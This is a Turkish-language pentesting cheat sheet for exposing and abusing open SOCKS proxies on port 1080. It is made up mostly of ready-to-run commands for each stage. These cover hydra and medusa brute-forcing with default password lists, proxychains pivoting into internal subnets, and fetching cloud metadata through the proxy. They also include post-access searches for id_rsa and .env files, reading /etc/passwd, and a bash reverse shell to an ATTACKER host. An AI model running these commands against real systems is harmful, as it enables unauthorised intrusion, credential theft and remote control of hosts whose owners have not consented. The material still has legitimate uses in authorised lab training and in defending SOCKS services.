Skip to content

1080 - Pentesting Socks

SOCKS proxy

Açık SOCKS proxy dışarıdan iç hostlara TCP tüneli açar. Auth’suz veya zayıf auth pivot demektir. Hedef lab IP’si üzerinde komutları 1080 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

Section titled “Metodoloji”

  1. SOCKS4/5 doğrula.

  2. Auth method kontrol et.

  3. Proxy üzerinden iç tarama.

  4. proxychains/chisel ile kalıcı pivot.

Keşif

Section titled “Keşif”
Terminal window
nmap -Pn -sV -p1080 TARGET
Terminal window
nmap -Pn -p1080 --script socks-open-proxy,socks-auth-info TARGET
Terminal window
curl -x socks5h://TARGET:1080 http://ifconfig.me
Terminal window
curl -x socks4://TARGET:1080 http://127.0.0.1:22 --max-time 5

Auth

Section titled “Auth”
Terminal window
curl -x socks5h://user:pass@TARGET:1080 https://example.com
Terminal window
hydra -L users.txt -P pass.txt socks5://TARGET
anonymous/boş, proxy/proxy, admin/admin

Pivot

Section titled “Pivot”
Terminal window
printf 'strict_chain\nproxy_dns\nsocks5 TARGET 1080\n' > /tmp/pc.conf
Terminal window
proxychains -f /tmp/pc.conf nmap -Pn -sT -p22,80,445 10.10.10.0/24
Terminal window
proxychains -f /tmp/pc.conf curl -s http://169.254.169.254/latest/meta-data/

Derin enum

Section titled “Derin enum”

Socks için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p1080 TARGET
Terminal window
nmap -Pn -p1080 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1080' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',1080));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Socks

Kimlik & brute (ek)

Section titled “Kimlik & brute (ek)”
Terminal window
hydra -L users.txt -P rockyou.txt -s 1080 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1080
Terminal window
nmap -p1080 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test

Exploit arama

Section titled “Exploit arama”
Terminal window
searchsploit SOCKS
Terminal window
msfconsole -q -x 'search SOCKS; exit'
Terminal window
nuclei -u https://TARGET:1080 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:1080 -tags tech -silent || true

Manuel protokol

Section titled “Manuel protokol”
Terminal window
nc -nv TARGET 1080
Terminal window
printf '
' | timeout 3 nc -nv TARGET 1080
Terminal window
curl -vk --http1.0 http://TARGET:1080/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

Section titled “Post-erişim & loot”
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt

Operasyon checklist

Section titled “Operasyon checklist”
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

Section titled “Zincir”
open socks → curl via proxy → internal scan → persistent tunnel